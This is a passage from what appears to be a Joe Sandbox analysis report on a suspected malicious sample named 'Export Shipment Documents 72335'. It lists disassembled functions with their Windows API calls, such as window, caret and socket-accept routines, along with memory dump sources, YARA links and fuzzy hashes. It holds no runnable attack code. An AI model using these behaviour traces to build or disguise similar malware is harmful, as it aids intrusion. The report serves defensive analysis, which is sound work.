                                                                                                                                                                                                            • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,0000102C,00000000,00000002), ref: 00461420
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,0000102C,00000000,00000002), ref: 0046144F
                                                                                                                                                                                                          • __itow.LIBCMT ref: 00461461
                                                                                                                                                                                                          • __itow.LIBCMT ref: 004614AB
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend$__itow$_wcslen
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2875217250-0
                                                                                                                                                                                                          • Opcode ID: 347b44770508ca88cf5981266e998b528a2978f718c0dd2978777487f2c1d3f7
                                                                                                                                                                                                          • Instruction ID: b65c482f8247f617b799fd724a7506577ebf884cdb52d0d4602b18db992df379
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 347b44770508ca88cf5981266e998b528a2978f718c0dd2978777487f2c1d3f7
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 3A213D7670031067D210BA169C86FAFB794EB94714F08443FFF44AB241EE69E94687EB
                                                                                                                                                                                                          Function 004727F8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetForegroundWindow.USER32 ref: 00472806
                                                                                                                                                                                                            • Part of subcall function 00443EEF: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 00443F11
                                                                                                                                                                                                            • Part of subcall function 00443EEF: GetCurrentThreadId.KERNEL32 ref: 00443F18
                                                                                                                                                                                                            • Part of subcall function 00443EEF: AttachThreadInput.USER32(00000000), ref: 00443F1F
                                                                                                                                                                                                          • GetCaretPos.USER32(?), ref: 0047281A
                                                                                                                                                                                                          • ClientToScreen.USER32(00000000,?), ref: 00472856
                                                                                                                                                                                                          • GetForegroundWindow.USER32 ref: 0047285C
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2759813231-0
                                                                                                                                                                                                          • Opcode ID: f08c9821fa495b0e17bd1c697e1e5286648ea95901ecf1a9ceb1535147bec3ee
                                                                                                                                                                                                          • Instruction ID: 38f02bd9b1f6bed34cfa7ce2d7f69328ba3456287a0ba45db7850a86b8391dd2
                                                                                                                                                                                                          • Opcode Fuzzy Hash: f08c9821fa495b0e17bd1c697e1e5286648ea95901ecf1a9ceb1535147bec3ee
                                                                                                                                                                                                          • Instruction Fuzzy Hash: FF2195716403056FE310EF65CC42F5BB7E8AF84708F144D2EF544AB282D6FAB9858795
                                                                                                                                                                                                          Function 0047721A Relevance: 6.1, APIs: 4, Instructions: 73COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                                                                                                                                                                                                          • GetWindowLongW.USER32(?,000000EC), ref: 0047728E
                                                                                                                                                                                                          • SetWindowLongW.USER32(?,000000EC,00000000), ref: 004772A9
                                                                                                                                                                                                          • SetWindowLongW.USER32(?,000000EC,00000000), ref: 004772C0
                                                                                                                                                                                                          • SetLayeredWindowAttributes.USER32(?,00000000,?,00000002,?,000000EC,00000000,?,000000EC,?,00000001,?,?), ref: 004772D0
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Window$Long$AttributesLayered
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2169480361-0
                                                                                                                                                                                                          • Opcode ID: cf64f2ba38e7b8586118add57273b6dbf74680437e58013ae8f64db123384f26
                                                                                                                                                                                                          • Instruction ID: faea1ea985e506ac999786301d765d91882fdca708237d94abe4bce3661c65f1
                                                                                                                                                                                                          • Opcode Fuzzy Hash: cf64f2ba38e7b8586118add57273b6dbf74680437e58013ae8f64db123384f26
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 5F11B431205510ABD310FB29DD45F9BB798FF91720F10862EF455E72E2C7A8AC45C7A8
                                                                                                                                                                                                          Function 00448C8B Relevance: 6.1, APIs: 4, Instructions: 73windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SendMessageW.USER32 ref: 00448CB8
                                                                                                                                                                                                          • GetWindowLongW.USER32(?,000000EC), ref: 00448CE0
                                                                                                                                                                                                          • SendMessageW.USER32(?,0000104C,00000000,?), ref: 00448D19
                                                                                                                                                                                                          • SendMessageW.USER32(?,0000102B,00000000,?), ref: 00448D62
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend$LongWindow
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 312131281-0
                                                                                                                                                                                                          • Opcode ID: 75ae646de43e531ea10203f5aba75cb55710deee3f48b72b110124c921b55059
                                                                                                                                                                                                          • Instruction ID: 9d6bf2a2f0cb0d5184a29e15ea511504db1ac53b4253ca88fa0f688086887250
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 75ae646de43e531ea10203f5aba75cb55710deee3f48b72b110124c921b55059
                                                                                                                                                                                                          • Instruction Fuzzy Hash: B12174715053019BF3208F18D98879FB7E4FBD5325F140B2EF594962D0DBB58449C796
                                                                                                                                                                                                          Function 004588B0 Relevance: 6.1, APIs: 4, Instructions: 67networkCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • select.WSOCK32 ref: 0045890A
                                                                                                                                                                                                          • __WSAFDIsSet.WSOCK32(00000000,00000000), ref: 00458919
                                                                                                                                                                                                          • accept.WSOCK32(00000000,00000000,00000000,00000000,00000000), ref: 00458927
                                                                                                                                                                                                          • WSAGetLastError.WSOCK32(00000000), ref: 00458952
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ErrorLastacceptselect
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 385091864-0
                                                                                                                                                                                                          • Opcode ID: abc1db9f2e63247cad6e2e0496bedee0f0acb9a353b4738024f17ecaf3b799d2
                                                                                                                                                                                                          • Instruction ID: 93f38c3b8a65fd8a68e5265ae944391143789c71a4918893f245a539b4228a7d
                                                                                                                                                                                                          • Opcode Fuzzy Hash: abc1db9f2e63247cad6e2e0496bedee0f0acb9a353b4738024f17ecaf3b799d2
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1F2166712043019BD314EF29C842BABB7E5AFC4714F144A2EF994DB2C1DBB4A985CB99
                                                                                                                                                                                                          Function 00438D4E Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SendMessageW.USER32(?,000000B0,?,?), ref: 00438D6F
                                                                                                                                                                                                          • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438D82
                                                                                                                                                                                                          • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438D9A
                                                                                                                                                                                                          • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438DB4
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3850602802-0
                                                                                                                                                                                                          • Opcode ID: 265964968b448329a9940c71d90cafee1d95b27ec759889be900fe0a368f8aeb
                                                                                                                                                                                                          • Instruction ID: 707762f1bc06eebb59e9357f9c77b20c0e090dcf7cedc03b298b4f863176c0ea
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 265964968b448329a9940c71d90cafee1d95b27ec759889be900fe0a368f8aeb
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 77113AB6204305AFD210EF58DC84F6BF7E8EBE8750F20491EF580D7290D6B1A8468BA1
                                                                                                                                                                                                          Function 0043362D Relevance: 6.1, APIs: 4, Instructions: 54windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • CreateWindowExW.USER32(?,?,?,FFFFFFFF,?,?,?,?,?,?,00400000,00000000), ref: 0043367E
                                                                                                                                                                                                          • GetStockObject.GDI32(00000011), ref: 00433695
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,00000030,00000000), ref: 0043369F
                                                                                                                                                                                                          • ShowWindow.USER32(00000000,00000000), ref: 004336BA
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Window$CreateMessageObjectSendShowStock
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1358664141-0
                                                                                                                                                                                                          • Opcode ID: a78582cd8c915fd270119012ff4eddf0033f410814d91724adacf9cac7d73a6b
                                                                                                                                                                                                          • Instruction ID: 5bb77caae3378c1c36de35f78993aeb7f53e4fc0e9047450929301c31466c70f
                                                                                                                                                                                                          • Opcode Fuzzy Hash: a78582cd8c915fd270119012ff4eddf0033f410814d91724adacf9cac7d73a6b
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 60114F72204A00BFD254DF55CC49F5BB3F9AFCCB01F20950DB254922A0D7B4E9418BA9
                                                                                                                                                                                                          Function 0044419B Relevance: 6.1, APIs: 4, Instructions: 53synchronizationthreadwindowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetCurrentThreadId.KERNEL32 ref: 004441B8
                                                                                                                                                                                                          • MessageBoxW.USER32(?,?,?,?), ref: 004441F6
                                                                                                                                                                                                          • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0044420C
                                                                                                                                                                                                          • CloseHandle.KERNEL32(00000000), ref: 00444213
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CloseCurrentHandleMessageObjectSingleThreadWait
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2880819207-0
                                                                                                                                                                                                          • Opcode ID: 146d2f4ba151d14deb3aa3acfdd6de045567f86e28c98b22242e1e1489ea4094
                                                                                                                                                                                                          • Instruction ID: a177bb78e812b0c83f085b16f259857c8a511f23e32e5024349264f8b0df3d09
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 146d2f4ba151d14deb3aa3acfdd6de045567f86e28c98b22242e1e1489ea4094
                                                                                                                                                                                                          • Instruction Fuzzy Hash: C401E5364183105BD300DB28ED08A9BBBD8BFD9721F18067EF89893351E6B48948C7B6
                                                                                                                                                                                                          Function 0043401C Relevance: 6.0, APIs: 4, Instructions: 50COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetWindowRect.USER32(?,?), ref: 00434037
                                                                                                                                                                                                          • ScreenToClient.USER32(?,?), ref: 0043405B
                                                                                                                                                                                                          • ScreenToClient.USER32(?,?), ref: 00434085
                                                                                                                                                                                                          • InvalidateRect.USER32(?,?,?), ref: 004340A4
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ClientRectScreen$InvalidateWindow
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 357397906-0
                                                                                                                                                                                                          • Opcode ID: 751e48bbdad3fa965b56aea51b9fa4e55de6b4169d4940aca7a3583b508516de
                                                                                                                                                                                                          • Instruction ID: 02545dd0d615a745195cb6f618e51c1f9c2552a202a2369b8695847d2ce6fb2f
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 751e48bbdad3fa965b56aea51b9fa4e55de6b4169d4940aca7a3583b508516de
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 24117EB9608302AFC304DF18D98095BBBE9FFD8650F10891EF88993350D770E9498BA2
                                                                                                                                                                                                          Function 00436A1D Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • __wsplitpath.LIBCMT ref: 00436A45
                                                                                                                                                                                                            • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                                                                          • __wsplitpath.LIBCMT ref: 00436A6C
                                                                                                                                                                                                          • __wcsicoll.LIBCMT ref: 00436A93
                                                                                                                                                                                                          • __wcsicoll.LIBCMT ref: 00436AB0
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: __wcsicoll__wsplitpath$__wsplitpath_helper
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1187119602-0
                                                                                                                                                                                                          • Opcode ID: 5b78189461bd351535feab14c2aa3b28919a840a222a6c91b90152b853837e7b
                                                                                                                                                                                                          • Instruction ID: cc447ddabc085245cf6c6bda96777749177fc915bba42f20b5b260b799017f3a
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 5b78189461bd351535feab14c2aa3b28919a840a222a6c91b90152b853837e7b
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 690165B64043416BD724EB50D881EEBB3ED7BD8304F04C91EB5C982041FB38D24C87A6
                                                                                                                                                                                                          Function 00437AFE Relevance: 6.0, APIs: 4, Instructions: 44COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _wcslen$_malloc_wcscat_wcscpy
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1597257046-0
                                                                                                                                                                                                          • Opcode ID: ef4c8eb1668fb764ac9879486c39433899b48e1b70f0ed706df85b8b39ec7f0c
                                                                                                                                                                                                          • Instruction ID: 9df5ee2dcc5f1a759a9cde70f7b42babd8a8bdcc369222b22224423102f690bd
                                                                                                                                                                                                          • Opcode Fuzzy Hash: ef4c8eb1668fb764ac9879486c39433899b48e1b70f0ed706df85b8b39ec7f0c
                                                                                                                                                                                                          • Instruction Fuzzy Hash: BFF06D32200200AFC314EB66C885E6BB3EAEBC5324F04852EF556C7791DB39F841C764
                                                                                                                                                                                                          Function 004555D6 Relevance: 6.0, APIs: 4, Instructions: 40windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                                          • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: DeleteDestroyObject$IconWindow
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3349847261-0
                                                                                                                                                                                                          • Opcode ID: 3ca9d014447a04aedc0dfd8276f5a6e9fbff97cfd7386ed498fa31ba53dce0fe
                                                                                                                                                                                                          • Instruction ID: 3a9029eb8e47786e7dec82746d504bb216afab776d143f23dce7b1a7602128e4
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3ca9d014447a04aedc0dfd8276f5a6e9fbff97cfd7386ed498fa31ba53dce0fe
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 06F03C702006419BDB20AF65DDD8A2B77ACEF45322740456AFD04D7242DB28DC498B7D
                                                                                                                                                                                                          Function 0044B600 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • EnterCriticalSection.KERNEL32(?), ref: 0044B60B
                                                                                                                                                                                                          • InterlockedExchange.KERNEL32(?,?), ref: 0044B619
                                                                                                                                                                                                          • LeaveCriticalSection.KERNEL32(?), ref: 0044B630
                                                                                                                                                                                                          • LeaveCriticalSection.KERNEL32(?), ref: 0044B641
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CriticalSection$Leave$EnterExchangeInterlocked
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2223660684-0
                                                                                                                                                                                                          • Opcode ID: ff66e887f7cbb15f4500d5b6eb7e85b0bae77af45fe5867796c74117f3ed7197
                                                                                                                                                                                                          • Instruction ID: 8f2921e390180aa9c6083979f061463a0462abb68b72a76a452ff5fd2bc04521
                                                                                                                                                                                                          • Opcode Fuzzy Hash: ff66e887f7cbb15f4500d5b6eb7e85b0bae77af45fe5867796c74117f3ed7197
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 35F08C362422019F82249B59EA488DBB3FDEBE97213009C2FE142C32108BB5F806CB75
                                                                                                                                                                                                          Function 00447268 Relevance: 6.0, APIs: 4, Instructions: 32COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
